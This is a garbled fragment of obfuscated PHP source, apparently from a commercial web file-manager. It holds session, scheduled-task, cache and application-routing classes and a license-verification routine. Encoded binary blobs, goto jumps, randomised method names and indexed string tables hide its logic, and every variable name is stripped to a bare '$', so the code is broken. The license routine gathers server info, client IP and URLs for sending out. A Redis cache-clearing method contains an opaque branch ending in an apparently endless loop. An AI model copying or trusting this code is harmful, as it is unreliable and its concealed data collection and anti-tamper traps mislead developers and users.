232\305\117\20\21".base64_decode('ZPDL1KzKtKCw8EHIoAjpLT18wpfswli0EMt2lBj4cz5Sk8oTyRQVNjlkTqD5ICdJmgDo3Jc=').strrev('q]n5$SC*[K1JM[*l8Y$#tzr').strrev(')CwJhmS\\'."\r".'|DW	.PbJ')."\222\211\21\361\366\110\37\221\277\16\160\342\255\217\3\260\64\125\230\40\221\312\213\373\104\321\115\234\126\256\373\204\30\72\213\313\46\116\70\122\211\44\352\327\212\153\351\110\107\160\254\306\44"."\324\167\150\127\270\244\111\174\322\151\120\205\203\361\71\103\60\344\105\242\327\221\352\22\52\140\241\36\343\75\135\131\40\346\222\252\57\53\15\223\120\100\317\104\244\352\144\135\203\111\13\304\313"."\177\104\140\245\163\210\45\313\64\42\203\161\67\246\143\360\245\355\215\167\14\40\143\162\246\243\71\145\120\203\35\107\34\212\45\45\231\146\46\203\57\214\47\311\246\272\307\322\146\134\12\41\144"."\xb8\xb4\x41\xe4\xf4\x2d\x16\xe\x4d\xcc\x92\xcb\x10\x9a\x17\x70\x66\x51\x78\xdd\x35\x6e\x72\x1\xf7\x98\xd2\x12\xe\x37\x92\x72\xfa\x88\x61\x27\xd3\x92\xa8\xa0\x34\xb3\x34\xbd\x50\x32\xcd\xd0\x80\xf2\xfd\x70\xb7"."\x96\xcd\xb2\x5b\x80\x22\x2a\x29\x69\x8f\xa4\x42\x95\x30\xcb\x94\xa1\x2d\x2a\x5b\x8c\x66\xe1\x92\xe2\x28\xe6\x28\x3b\xc9\x10\xe0\xb2\x34\xb\x97\x2d\xc9\x66\x85\x4b\xc6\x95\x94\xb3\xb5\xa2\x35\x49\xf7\x4a\x7\xf"."\4\162\251\62\35\26\142\53\11\164\262\361\54\13\134\372\71\130\3\156\150\42\301\53\337\12\41\170\163\51\255\224\153\105\131\340\111\133\341\206\26\374\20\76\170\227\313\51\273\100\301\364\175"."\231\35\203\345\224\331\43\50\375\233\124\45\114\250\111\225\156\126\42\257\214\322\26\375\44\346\314\144\163\233\145\262\145\15\260\362\72\142\261\262\364\315\162\52\157\271\322\345\1\2\143\361\64"."\xc2\x94\x3c\x11\x7b\x98\x31\x6\x85\x72\x2c\x7b\x44\x33\xd5\xb1\x89\x15\x73\x83\x39\x93\x6f\x8c\x29\xa1\x10\x8d\xb9\xba\x40\xc1\x3d\xce\x25\xb5\x39\x51\x3f\x57\x94\xc\xf4\x97\x7d\xd3\xe3\xc1\xd2\xb1\x52\xc9\x53".base64_decode('hnlIlx9G0YO9aRtJ3ekFQLa6SfPZRzKSLN4lBheyOocaURnhMEmiQZ+4kaL1SWyZwAnH8zs=').strrev('q$(g*H'."\0".'FT9:L~O3	yfSL}~>;"U')."\xc8\xcd\x23\x41\x5b\x42\xb1\x48\x10\xd4\x19\xb0\x78\x29\xae\xd3\x5c\x42\xe7\x1c\x11\x7c\xa3\xc9\x23\xf2\x6\xf\xf7\x95\x2d\x45\x97\xe2\x85\x48\x18\x34\x53\x7d\xe6\x28\x33\x75\x89\xf0\x4a\x1a\x24\x71\x7b\xa9\xb9".base64_decode('udph9ytxWYGOGIWx/DTHDy6nvKQO8HbrW5kfcBSnbjm5Tvx31QA3GKIK6m+GiJPheWA8ES8=')."\311\352\14\304\343\113\242\261\146\352\236\246\44\233\224\222\324\24\113\262\72\333\242\35\223\345\205\332\3\341\110\111\36\326\150\354\120\205\321\124\232\25\356\44\255\44\67\370\223\265\42\34\134".base64_decode('JFpSaquWXRhGwM+omBfpAi2fNtm9GIOPaxkmsZIuWPSssKoryjgFcfL8W8z8NQ84fUK6FIw=')._kodDe('KVcOOjg0Tfimg98W2rAK1up26SWUh3nEgUGWmhgqiH05eYfnkERzSaM5rlmDicwjEu/u6Zpf')."\220\344\212\341\300\315\74\326\4\5\330\225\146\237\164\365\107\117\173\140\17\0\6\130\322\110\245\141\107\266\255\15\224\325\60\241\162\164\114\63\204\204\373\377\0\21\361\217\150\24\274\0\0"."".base64_decode('').base64_decode('').""."", 10, -8))); goto F; d: class Session { public static $sessionTime; public static $sessionSign; public static $handle; public static $data; public static function init() { $ =& $_SERVER[]; static $ = false; if ($) { return $; } $ = $GLOBALS[$[6]][$[436]]; self::$sessionTime = $[$[1736]]; $ = isset($GLOBALS[$[1737]]) ? $GLOBALS[$[1737]] : SESSION_ID; if (self::$sessionSign) { } else { if (Cookie::get($)) { self::$sessionSign = Cookie::get($); } else { self::$sessionSign = self::$sessionSign ? self::$sessionSign : guid(); } } Cookie::setSafe($, self::$sessionSign, self::$sessionTime); $ = $[$[1738]]; $ = $[$]; $ = $[$[923]]; switch ($) { case $[21]: self::$handle = Model($[924]); break; case $[925]: self::$handle = new CacheRedis($, $); break; case $[926]: self::$handle = new CacheMemcached($, $); break; case $[233]: $[$[87]] = $[$[87]] . $[1739]; self::$handle = new CacheFile($, $); default: break; } if (!self::$data) { self::$data = self::getBySign(self::$sessionSign); } $ = new self(); return $; } public static function getBySign($) { $ = self::$handle->get($); $ = unserialize($); return is_array($) ? $ : array(); } public static function setBySign($, $) { CacheLock::lock($); self::$handle->set($, serialize($), self::$sessionTime); CacheLock::unlock($); } public static function sign($ = false) { if ($) { self::$sessionSign = $; } self::init(); return self::$sessionSign; } public static function set($, $ = false) { self::init(); if (is_array($)) { foreach ($ as $ => $) { array_set_value(self::$data, $, $); } } else { array_set_value(self::$data, $, $); } self::setBySign(self::$sessionSign, self::$data); } public static function get($ = false) { self::init(); if (!$) { return self::$data; } return array_get_value(self::$data, $); } public static function remove($) { self::init(); unset(self::$data[$]); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0); self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clearTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[][929])) { self::$handle->clearTimeout(); } } } class AutoTask { const AUTO_DELAY_TIME = 2; const AUTO_RESTART_TIME = 7200; public static function start() { $ =& $_SERVER[]; if (self::valueGet($[840]) != $[91]) { return; } if (self::valueGet($[1740]) == $[91]) { $ = self::valueGet($[1741]); if (time() - $ > self::AUTO_RESTART_TIME) { self::restart(); } return; } self::clearUserStatus(); self::valueSet($[1740], $[91]); self::log($[1742] . ACTION . $[1743]); Hook::bind($[1744], $[1745]); $ = 0; while (!0) { self::cacheClear(); if (self::valueGet($[840]) != $[91]) { self::valueSet($[1740], $[231]); self::log($[1746]); die; } $ = time(); if ($ - $ >= 60) { self::valueSet(array($[1740] => $[91], $[1741] => $)); $ = $; } if (!file_exists(USER_SYSTEM . $[1747])) { self::valueSet(array($[1740] => $[231], $[840] => $[231])); self::log($[1748]); die; } $ = file_get_contents(BASIC_PATH . $[1749]); $ = KOD_VERSION . $[10] . KOD_VERSION_BUILD; $ = match_text($, $[1750]) . $[10] . match_text($, $[1751]); if ($ != $) { self::restart(); self::log("\x73\x74\x6f\x70\x65\x64\56\133\x76\x65\162\x73\151\x6f\156\x20\165\x70\144\x61\x74\145\73{$versionNow}\x20\75\x3e\x20{$version}\x5d"); die; } self::taskRunAll(); sleep(self::AUTO_DELAY_TIME); } } public static function clearUserStatus() { $ =& $_SERVER[]; http_close(); $GLOBALS[$[1752]] = 1; $_SERVER[$[1753]] = $[1754]; $_COOKIE = array(); $GLOBALS[$[1755]] = 1; $GLOBALS[$[1756]] = 1; Session::$sessionSign = guid(); Session::$data = array(); } public static function restart() { $ =& $_SERVER[]; http_close(); self::valueSet($[840], $[231]); sleep(self::AUTO_DELAY_TIME + 5); self::valueSet(array($[1740] => $[231], $[840] => $[91])); self::log($[1757]); } public static function taskSwitch() { $ =& $_SERVER[]; $ = self::valueGet($[840]) == $[91] ? $[231] : $[91]; self::valueSet($[840], $); } public static function shutdownEvent() { $ =& $_SERVER[]; self::valueSet($[1740], $[231]); self::log($[1758]); } public static function config($, $) { self::valueSet($_SERVER[][840], $); } private static function taskRunAll() { $ =& $_SERVER[]; $ = timeFloat(); $ = Model($[1759])->listData(); $ = count($); for ($ = 0; $ < $; $++) { $ = $[$]; if (!$[$[487]] || $[$[1760]] != $[91]) { continue; } if (!self::taskTimeCheck($)) { continue; } self::taskRun($); } Hook::trigger($[1761]); self::taskQueueRun($); } private static function taskQueueRun($) { $ = 10; while (!0) { $ = TaskQueue::run(); if ($ === !1) { break; } if (timeFloat() - $ >= $) { break; } } } private static function taskTimeCheck($) { $ =& $_SERVER[]; $ = json_decode($[$[207]], !0); $ = intval($[$[1741]]); $ = strtotime($[1762] . $[$[1763]] . $[1764]) - strtotime($[1765]); $ = time() - strtotime(date($[1766]) . $[1767]); $ = $ >= $ && $ <= $ + 3600; switch ($[$[33]]) { case $[1768]: if (time() - $ < 3600 * 24 * 30) { return !1; } if ($[$[1768]] == date($[1769]) && $) { return !0; } break; case $[1770]: if (time() - $ < 3600 * 24 * 7) { return !1; } $ = date($[1771]) == 0 ? 7 : date($[1771]); if ($[$[1770]] == $ && $) { return !0; } break; case $[1763]: if (time() - $ < 3600 * 24) { return !1; } if ($) { return !0; } break; case $[1772]: if (time() - $ >= floatval($[$[1772]]) * 60) { return !0; } break; default: break; } return !1; } private static function closeDatabase() { $ =& $_SERVER[]; static $ = 0; $ = 300; if (!$) { $ = time(); } if (time() - $ < $) { return; } $ = time(); $ = Model($[591])->db($[12]); if ($) { $->closeConnect(); } if (time() - TIME > 3600 * 24 * 3) { self::log($[1773], $[1774]); die; } } public static function taskRun($) { $ =& $_SERVER[]; self::log($[1775] . $[$[487]] . $[1776] . $[$[32]] . $[1777] . $[$[1778]]); Model($[1759])->run($[$[487]]); $ = timeFloat(); $ = $[12]; switch ($[$[33]]) { case $[394]: $ = url_request($[$[1778]], $[1513], !1, !1, !1, !1, 10); if ($[$[840]]) { $ = strlen($[$[1303]]); } break; case $[1779]: $ = Hook::apply($[$[1778]]); default: break; } Model($[1780])->add(array($[1781] => $[12], $[1782] => $[231], $[33] => $[1783] . $[$[487]], $[1784] => json_encode(array($[32] => $[$[32]], $[1785] => timeFloat() - $, $[380] => $)))); $ = $ ? $[1786] . $ : $[12]; self::log($[1787] . $[$[487]] . $[178] . $); return !0; } public static function valueGet($) { $ =& $_SERVER[]; $ = $[1788]; $ = Model($[520])->get($, $); if (is_null($)) { Model($[520])->set($[840], $[91], $); Model($[520])->set($[1740], $[231], $); $ = Model($[520])->get($, $); } return $; } private static function valueSet($, $ = false) { $ =& $_SERVER[]; $ = $[1789]; CacheLock::lock($); $ = Model($[520])->set($, $, $[1788]); CacheLock::unlock($); return $; } protected static function log($) { write_log($, $_SERVER[][1774]); } private static function cacheClear() { $ =& $_SERVER[]; Cache::clearMemory(Model($[520])->cacheKey($[1788])); Cache::clearMemory(Model($[520])->cacheKey($[1790])); Model($[1759])->cacheClear(); self::closeDatabase(); } } class Task { const STATYS_STOP = "\163\x74\x6f\160"; const STATYS_RUNNING = "\x72\165\156\156\x69\156\147"; const STATYS_KILL = "\153\x69\x6c\x6c"; public $task; private $isEnd = false; public function __destruct() { $this->end(); } public function __construct($, $ = '', $ = 0, $ = '') { $ =& $_SERVER[]; if (self::get($)) { return; } $this->task = array($[487] => $, $[1791] => USER_ID, $[1677] => $, $[538] => $[12], $[33] => $, $[1158] => $[12], $[1156] => $, $[1792] => 0, $[1793] => 0, $[1794] => 0, $[1795] => timeFloat(), $[1796] => 0, $[1797] => 0, $[1798] => 0, $[1799] => 0, $[840] => $[1740]); $GLOBALS[$[1800]] = 1; Hook::bind($[1744], array($this, $[1801])); Hook::bind($[1802], array($this, $[1803])); $this->startAfter(); Hook::trigger($[1804], $this->task); $this->task[$[1797]] = timeFloat(); } public function end($ = '') { $ =& $_SERVER[]; if (!$this->task || $this->isEnd) { return; } if ($this->task[$[1797]]) { self::valueSet($this->task[$[487]], !1); } $this->isEnd = !0; if ($) { $this->task[$[538]] = $; } self::log($[1805] . $this->task[$[487]] . $[1806] . sprintf($[947], timeFloat() - $this->task[$[1795]]) . $[1807]); Hook::unbind($[1744], array($this, $[1801])); Hook::unbind($[1802], array($this, $[1803])); $this->endAfter(); $ = $this->task; $this->task = !1; Hook::trigger($[1808], $); } public function update($ = 0, $ = false) { $ =& $_SERVER[]; $ =& $this->task; if (!$) { return; } $[$[1792]] += $; $[$[1796]] = timeFloat(); if ($[$[1156]]) { if ($[$[1156]] < $[$[1792]]) { $[$[1156]] = $[$[1792]]; } $ = timeFloat() - $[$[1795]] - $[$[1798]]; if ($ <= 0) { $ = 0.001; } $[$[1793]] = $[$[1792]] / $[$[1156]]; $[$[1794]] = $[$[1792]] / $; if ($[$[1793]] > 0) { $[$[1799]] = $ * (1 - $[$[1793]]) / $[$[1793]]; } $[$[1799]] = $[$[1799]] <= 0 ? 0 : $[$[1799]]; } $this->updateAfter(); $ = 0.2; if (timeFloat() - $[$[1797]] < $ && !$) { return; } $ = self::get($[$[487]]); $ = $[$[840]]; if ($ == self::STATYS_KILL) { $ = array($[1809] => LNG($[1810]), $[1313] => !1); Cache::set($[1811] . $this->task[$[487]], $, 30); $this->onKill(); $this->end(); die; } else { if ($ == self::STATYS_STOP) { $ = 2; $[$[1798]] += $; self::valueSet($[$[487]], $); sleep($); $this->update(); return; } } $[$[840]] = $ ? $ : $[$[840]]; $[$[1798]] = $[$[1798]] ? $[$[1798]] : 0; $[$[1797]] = timeFloat(); Hook::trigger($[1812], $); self::valueSet($[$[487]], $); } public function onKillSet($, $ = array()) { $this->onKillCall = array($, $); } public function onKill() { $ =& $_SERVER[]; self::log($[1805] . $this->task[$[487]] . $[1813]); Hook::trigger($[1814], $this->task); if (!$this->onKillCall) { return; } ActionApply($this->onKillCall[0], $this->onKillCall[1]); $this->onKillCall = !1; $this->task = !1; } protected function updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } public function showJson($) { $ =& $_SERVER[]; Cache::set($[1811] . $this->task[$[487]], $, 60); if (!is_array($) || !$[$[1313]]) { self::log($[1815] . json_encode($)); } return $; } public static function get($) { $ =& $_SERVER[]; $ = self::valueGet($); if (is_array($) && $[$[1816]]) { $ = ActionApply($[$[1816]], array($)); $ = is_array($) ? $ : $; } return $; } public static function listData() { $ = self::valueGet(); return array_sort_by($, $_SERVER[][1795], !0); } public static function kill($) { return self::changeStatus($, self::STATYS_KILL); } public static function stop($) { return self::changeStatus($, self::STATYS_STOP); } public static function restart($) { return self::changeStatus($, self::STATYS_RUNNING); } public static function killAll() { $ =& $_SERVER[]; $ = self::listData(); foreach ($ as $) { self::kill($[$[487]]); } sleep(2); foreach ($ as $) { self::valueSet($[$[487]], !1); } } private static function changeStatus($, $) { $ =& $_SERVER[]; $ = self::valueGet($); if (!$) { return !1; } $[$[840]] = $; self::valueSet($, $); self::log($[1817] . $[$[487]] . $[1818] . $); return !0; } public static function valueGet($ = false) { $ =& $_SERVER[]; if ($) { $ = Model($[532])->where(array($[97] => $, $[33] => $[1165]))->find(); return $ ? json_decode($[$[462]], !0) : !1; } return self::taskListUser(USER_ID); } public static function taskListUser($ = false) { $ =& $_SERVER[]; $ = array($[33] => $[1165]); if ($) { $[$[1791]] = $; } $ = Model($[532])->where($)->select(); $ = $ ? $ : array(); foreach ($ as $ => $) { $[$] = json_decode($[$[462]], !0); } return $; } public static function valueSet($, $) { $ =& $_SERVER[]; if (!$) { return Model($[532])->where(array($[97] => $, $[33] => $[1165]))->delete(); } $ = json_encode($); if (!$) { ob_start(); var_dump($); $ = ob_get_clean(); self::log($[1819] . json_encode_force($)); } if (!$ || !$[$[487]]) { return !1; } $ = array($[33] => $[1165], $[1791] => USER_ID, $[97] => $, $[462] => $); $ = $[1820]; CacheLock::lock($); Model($[532])->add($, array(), !0); CacheLock::unlock($); } public static function log($) { if (!GLOBAL_DEBUG) { return; } write_log($, $_SERVER[][1821]); } } goto d; a: class CacheLockDatabase { public function lock($, $ = 0) { $ = Model($_SERVER[][924]); $ = microtime(!0) + $; while (microtime(!0) < $) { $ = $->get($); if (!$ || $ < microtime(!0)) { $ = $->set($, $); if ($) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Model($_SERVER[][924])->get($); } public function unlock($) { Model($_SERVER[][924])->remove($); } } class CacheMemcached { public $handle; public $cacheTime; public function __construct($, $) { $ =& $_SERVER[]; if (!class_exists($[963])) { show_json($[964], !1); } $this->cacheTime = $; $this->handle = new Memcached(); if (is_array($[$[965]]) && count($[$[965]]) >= 1) { foreach ($[$[965]] as $) { $ = explode($[4], $); $this->handle->addServer($[0], $[1]); } } else { $this->handle->addServer($[$[209]], $[$[210]]); } } public function set($, $, $ = false) { $ = $ ? $ : $this->cacheTime; return $this->handle->set($, $, $); } public function get($) { return $this->handle->get($); } public function remove($) { return $this->handle->delete($); } public function deleteAll() { return $this->handle->flush(); } } class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($, $) { $ =& $_SERVER[]; if (!class_exists($[966])) { show_json($[967], !1); } $this->cacheTime = $; $ = isset($[$[968]]) ? $[$[968]] : 10; $ = _get($, $[965]); if ($ && is_array($)) { $this->initCluster($, $); } else { $this->handle = $this->init($, $); } } private function init($, $) { $ =& $_SERVER[]; $ = new Redis(); $ = isset($[$[969]]) ? $[$[969]] : !1; if ($) { $->pconnect($[$[209]], $[$[210]], $); } else { $->connect($[$[209]], $[$[210]], $); } if (!empty($[$[499]])) { $->auth($[$[499]]); } if (!empty($[$[847]]) && $[$[847]] != 0) { $->select($[$[847]]); } return $; } private function initCluster($, $) { $ =& $_SERVER[]; $ = array($[970], $[971], $[972]); $ = $[970]; if (isset($[$[16]]) && in_array($[$[16]], $)) { $ = $[$[16]]; } switch ($) { case $[970]: $this->_slave($, $); break; case $[971]: break; case $[972]: $this->isCluster = !0; $ = $[$[965]]; $ = isset($[$[969]]) ? $[$[969]] : !1; $ = isset($[$[499]]) ? $[$[499]] : null; $this->handle = new RedisCluster(NUll, $, $, $, $, $); break; default: break; } } private function _slave($, $) { $ = $[$_SERVER[][965]]; $this->filterConfig($, $[0]); $this->handle = $this->init($, $); unset($[0]); if (empty($)) { return; } $ = array_rand($); $this->filterConfig($, $[$]); $this->slaveHandle = $this->init($, $); } private function filterConfig(&$, $) { $ =& $_SERVER[]; $ = explode($[4], $); $ = array($[209] => $[0], $[210] => $[1]); $ = array_merge($, $); } public function set($, $, $ = false) { $ = $ ? $ : $this->cacheTime; return $this->handle->setEx($, $, $); } public function setLock($, $, $) { return $this->handle->setNX($, $); } public function get($) { $ = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $->get($); } public function remove($) { return $this->handle->del($); } public function deleteAll() { $ =& $_SERVER[]; if (!isset($_SERVER[$[318]]) || !isset($_SERVER[$[316]])) { $ = $[973]; $ = $[319]; $ = $_SERVER[$[320]] . $[321]; $ = $($); $ = explode($[288], $); if (count($) < $[700]) { $ = $[323]; $(); } $ = $[974]; $($_SERVER[$[975]]); $ = 1; for ($ = $; $ > 0; $++) { $ = json_encode($GLOBALS[$[504]]); } } if ($this->isCluster) { foreach ($this->handle->_masters() as $) { $this->handle->flushall($); } return; } return $this->handle->flushAll(); } } goto A; E: class Application { private $defaultModule = "\x69\156\144\145\170"; private $defaultController = "\x69\156\144\x65\x78"; private $defaultAction = "\151\x6e\x64\x65\x78"; function __construct() { } public function setDefault($) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = explode($[0], trim($, $[0])); $this->defaultModule = $[0] ? $[0] : $this->defaultModule; $ = $[701]; if (!$) { die; } $this->defaultController = $[1] ? $[1] : $this->defaultController; $ = $[702]; if (strlen($) < $[703]) { return; } $this->defaultAction = $[2] ? $[2] : $this->defaultAction; $this->yfjqc68195ba($[1], array($this, $[2])); $ = $[704]; } public function appRun($) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = explode($[0], $); $ = strtolower($[0]); $ = $[3]; $ = $[705]; if (!$) { return; } if ($ == $[4]) { $ = $[5]; $[0] = $[6]; $[1] = $[1] . $[7]; $ = join($[0], $); $ = trim($, $[0]); } call_user_func(array($[8], $[9]), $ . $[10], $); ActionCall($); $ = $[706]; if (strlen($) < $[322]) { die; } call_user_func(array($[8], $[9]), $ . $[11], $); } private function autorun() { $ =& $_SERVER[]; $ =& $_SERVER[]; global $config; $ = $[707]; if (strlen($) < $[708]) { return; } if (count($config[$[12]]) == 0) { return; } foreach ($config[$[12]] as $ => $) { $this->appRun($); $ = $[709]; if (!$) { die; } } } private function hjtz73abb6b1() { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = $[4]; $ = $[710]; $ = $GLOBALS[$[13]][$[14]][0]; if (!$ || strlen($) <= strlen($)) { return; } if (strtolower(substr($, -strlen($))) != $) { return; } $ = substr($, 0, -strlen($)); $ = array($[4], $); $ = $[711]; $ = array_slice($GLOBALS[$[13]][$[14]], 1); $GLOBALS[$[13]][$[14]] = array_merge($, $); $GLOBALS[$[13]][$[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); $ = $[712]; } private function mnlpcd75cd75() { $ =& $_SERVER[]; $ =& $_SERVER[]; if ($GLOBALS[$[13]][$[15]] != $[6]) { return; } $ = $_SERVER[$[16]]; $ = $[713]; if (strlen($) < $[322]) { return; } $ = $[17]; $ = $[714]; if (!strstr($, $)) { return; } $ = strrpos($, $); $ = substr($, $ + strlen($)); $ = $[715]; if (!$) { return; } preg_match_all($[18], $, $); $ = $[716]; $ = trim($[0][0], $[19]); $ = $[717]; $GLOBALS[$[13]][$[14]] = explode($[19], $); $GLOBALS[$[13]][$[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); $ = $[718]; } public function run() { $ =& $_SERVER[]; $ =& $_SERVER[]; $this->mnlpcd75cd75(); $ = $[719]; $this->hjtz73abb6b1(); $ = $GLOBALS[$[13]][$[14]]; $ = $[720]; while (strlen($) < $[322]) { if (!$) { break; } $++; } $ = $GLOBALS[$[13]][$[15]]; $ = $[721]; while (strlen($) < $[703]) { if (!$) { break; } $++; } define($[20], isset($[0]) && $[0] ? $[0] : $this->defaultModule); $ = $[722]; if (!$) { return; } define($[21], isset($[1]) && $[0] ? $[1] : $this->defaultController); define($[22], isset($[2]) && $[0] ? $[2] : $this->defaultAction); $ = $[723]; define($[23], MOD . $[0] . ST . $[0] . ACT); $ = $[724]; if (!$) { die; } $_SERVER[$[24]] = strtolower(ACTION); $this->autorun(); $ = $[725]; if (strlen($) < $[700]) { return; } if (count($) >= 3) { $this->appRun($); } else { $this->appRun(ACTION); } } private $nkfrf5d35153 = array(); private $pkwx73a438be = ''; public function hudkf4677d46() { $ =& $_SERVER[]; $ =& $_SERVER[]; $this->gydxa33943f4(); $this->xotueccc3da1(); $ = $[726]; if (!$) { return; } $this->qfake58ff099(); $ = $[727]; if (strlen($) < $[322]) { die; } $this->ximv71a4ee1b(); $this->kayc7b289131(); $this->kyqsebbf69ff(); $ = $[728]; $this->hnof8d516d14(); $this->yfjqc68195ba($[25], array($this, $[26])); $this->yfjqc68195ba($[27], array($this, $[28])); $this->yfjqc68195ba($[29], array($this, $[30])); $ = $[729]; while ($ < $[708]) { if ($ >= 0) { break; } $++; } $this->yfjqc68195ba($[31], array($this, $[32])); $ = $[730]; if (strlen($) < $[708]) { return; } } public function donbcdf7201e($) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = Model($[33])->get(); $ = array($[34], $[35], $[36], $[37], $[38], $[39], $[40], $[41], $[42], $[43], $[44], $[45], $[46], $[47], $[48], $[49], $[50], $[51], $[52], $[53], $[54], $[55], $[56], $[57], $[58], $[59], $[60], $[61], $[62], $[63], $[64], $[65], $[66], $[67], $[68], $[69], $[70], $[71], $[72], $[73], $[74], $[75], $[76], $[77], $[78], $[79], $[80], $[81], $[82], $[83], $[84], $[85]); $ = $[731]; if (!$) { return; } foreach ($ as $) { $ = $GLOBALS[$[86]][$[87]][$]; if (isset($[$])) { $ = $[$]; } $[$[88]][$[89]][$] = $; } $ = $[$[88]][$[89]][$[46]]; unset($[$[88]][$[90]][$[91]]); $ = $[732]; if (strlen($) < $[733]) { return; } unset($[$[88]][$[90]][$[92]]); $ = $[734]; unset($[$[88]][$[89]][$[46]]); $ = $[735]; while (strlen($) < $[700]) { if (!$) { break; } $++; } unset($[$[88]][$[89]][$[93]]); $ = $[736]; while ($ < $[700]) { if ($ >= 0) { break; } $++; } $[$[88]][$[89]][$[94]] = array($[95] => (int) $[$[96]], $[97] => (int) _get($, $[98], 0)); $ = substr(md5($[99] . get_client_ip() . $[$[100]]), 0, 15); $[$[101]][$[102]] = Mcrypt::encode(Session::sign(), $, 3600 * 24); $[$[101]][$[103]] = Action($[104])->accessToken(); $ = $[737]; if (!$) { die; } $[$[101]][$[105]] = md5($_SERVER[$[106]] . $[$[100]]); $[$[101]][$[107]] = base64_encode(serverInfo()); $ = $[738]; $[$[101]][$[108]] = $this->pkwx73a438be; if ($[$[108]] != $[109]) { $[$[101]][$[110]] = $[$[110]]; $[$[101]][$[111]] = $[$[111]]; $ = rand_string(10) . $this->pkwx73a438be . rand_string(5); $[$[88]][$[112]][$[113]] = $this->qzot9bcca048($, $[$[101]][$[105]]); } if ($this->pkwx73a438be == $[109]) { $[$[88]][$[89]][$[94]][$[98]] = 0; } $[$[101]][$[114]] = $this->versionPluginFilter(); $[$[101]][$[115]] = _get($this->nkfrf5d35153, $[116], $[6]); $ = $[739]; if (!$) { return; } if (KodUser::isRoot() && $this->config[$[117]]) { $[$[101]][$[118]] = WEB_ROOT; } return $; } private function kyqsebbf69ff() { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = $_SERVER[$[24]] == $[119]; $ = $[740]; while ($ < $[733]) { if ($ >= 0) { break; } $++; } if ($_SERVER[$[24]] == $[120] && $_GET[$[121]] == $[122]) { $ = !0; } if ($) { $ = array($[108] => $this->pkwx73a438be, $[123] => $this->mudifc2ae4b3(), $[124] => Model($[125])->count()); if ($this->pkwx73a438be != $[109]) { $ = _get($this->nkfrf5d35153, $[126]); if ($) { $[$[127]] = $; $[$[128]] = strtotime(_get($this->nkfrf5d35153, $[129])); $[$[130]] = _get($this->nkfrf5d35153, $[116]); } $ = Model($[33])->get($[131], $[6], !0); if (is_string($) && substr($, 0, 1) == $[132]) { $ = json_decode_force($); } if (is_array($) && $[$[133]] && strstr($[$[133]], $[134])) { $ = explode($[134], $[$[133]]); $[$[135]] = $[0]; } } $ = $this->yowpb68be23f(json_encode($), md5($[136])); $ = $[741]; while (strlen($) < $[322]) { if (!$) { break; } $++; } $ = array($[137] => $); $ = $[742]; if (!$) { die; } call_user_func(array($[138], $[139]), $); $ = $[743]; if (!$) { return; } } if ($this->pkwx73a438be == $[109]) { return; } $ = array($[140], $[141], $[142], $[143], $[144], $[145]); $ = Model($[33])->get(); $ = array($[146] => $[$[34]], $[147] => $[$[35]], $[148] => $[6]); foreach ($ as $) { if (!isset($[$]) || !$[$]) { continue; } $[$] = $[$]; $ = $[744]; } call_user_func(array($[138], $[139]), $); $ = $[745]; while ($ < $[733]) { if ($ >= 0) { break; } $++; } } private function ximv71a4ee1b() { $ =& $_SERVER[]; $ =& $_SERVER[]; if ($_SERVER[$[24]] != $[149]) { return; } if (!KodUser::isRoot()) { die; } $ = $GLOBALS[$[13]]; if (isset($[$[150]])) { $this->herw7e951f6e(); die; } if (isset($[$[151]]) && isset($[$[151]]) == $[122]) { $[$[152]] = Model($[33])->get($[153]); } if (!isset($[$[152]]) || strlen($[$[152]]) != 16) { show_json($[154] . $[$[152]], !1); } $ = Model($[33])->get($[100]); $ = md5($_SERVER[$[106]] . $); $ = $[746]; $ = array($[152] => $[$[152]], $[155] => rand_string(16), $[156] => $[136], $[157] => $[158], $[159] => $_SERVER[$[160]], $[161] => $_SERVER[$[162]], $[163] => $_SERVER[$[164]], $[105] => $, $[165] => Model($[33])->get($[131])); $ = $[747]; while ($ < $[700]) { if ($ >= 0) { break; } $++; } if (isset($[$[151]]) && isset($[$[151]]) == $[122]) { $[$[151]] = md5($[$[152]] . $[166] . $[$[155]]); } if ($[$[167]] == $[168]) { $ = $this->yowpb68be23f($, $[169]); $ = $this->qzot9bcca048(json_encode($), $ . $[170], 3); $ = $ . $[171] . $_SERVER[$[160]]; $ = $this->elvb21c98862($[172] . $ . $[173] . $, -1); show_json($, !0); } else { if ($[$[167]] == $[174]) { $ = substr(md5($[175] . $), 12, 15) . $[176]; $ = $this->lmqa964148d0(trim($[$[177]]), $, 2); $ = json_decode($, !0); if (!is_array($) || !is_array($[$[178]]) || $[$[152]] != !0) { $ = $[179]; $ = $[$[178]] ? $[180] . $[$[178]] : $; show_json($, !1); } else { $[$[155]] = $[$[178]][$[181]]; } } else { $ = $this->elvb21c98862($[182], $, 10); $ = $[748]; if (strlen($) < $[708]) { die; } } } if (!is_array($) || !is_array($[$[178]]) || $[$[152]] != !0) { $ = LNG($[183]); $ = $[$[178]] ? $[180] . $[$[178]] : $; show_json($, !1); } $ = $[$[178]]; $ = $this->fyleda343085($[$[184]]); $ = $[749]; if (!$ || $ != $[$[129]]) { $ = array($[185] => Model($[33])->get($[100]), $[186] => $_SERVER[$[106]], $[187] => this_url(), $[161] => $_SERVER[$[162]]); $ = $this->bdipfc67131d(json_encode($)); $this->elvb21c98862($[188] . $); show_json(LNG($[189]), !0); } $ = array($[153] => $[$[190]], $[191] => $[$[192]], $[193] => rand_string(16), $[108] => $[$[194]]); if ($[$[155]]) { $[$[193]] = $[$[155]]; } $ = substr(md5($[$[191]]), 10, 10); $ = $ . $[$[108]] . $[$[193]]; $ = $[750]; while (strlen($) < $[733]) { if (!$) { break; } $++; } $[$[110]] = strrev(base64_encode($this->yowpb68be23f($, $[195]))); $ = $[751]; $ = rand_string(16); $ = $[752]; $ = $ . $[$[108]] . $this->yowpb68be23f(md5($[$[153]]), $); $[$[111]] = 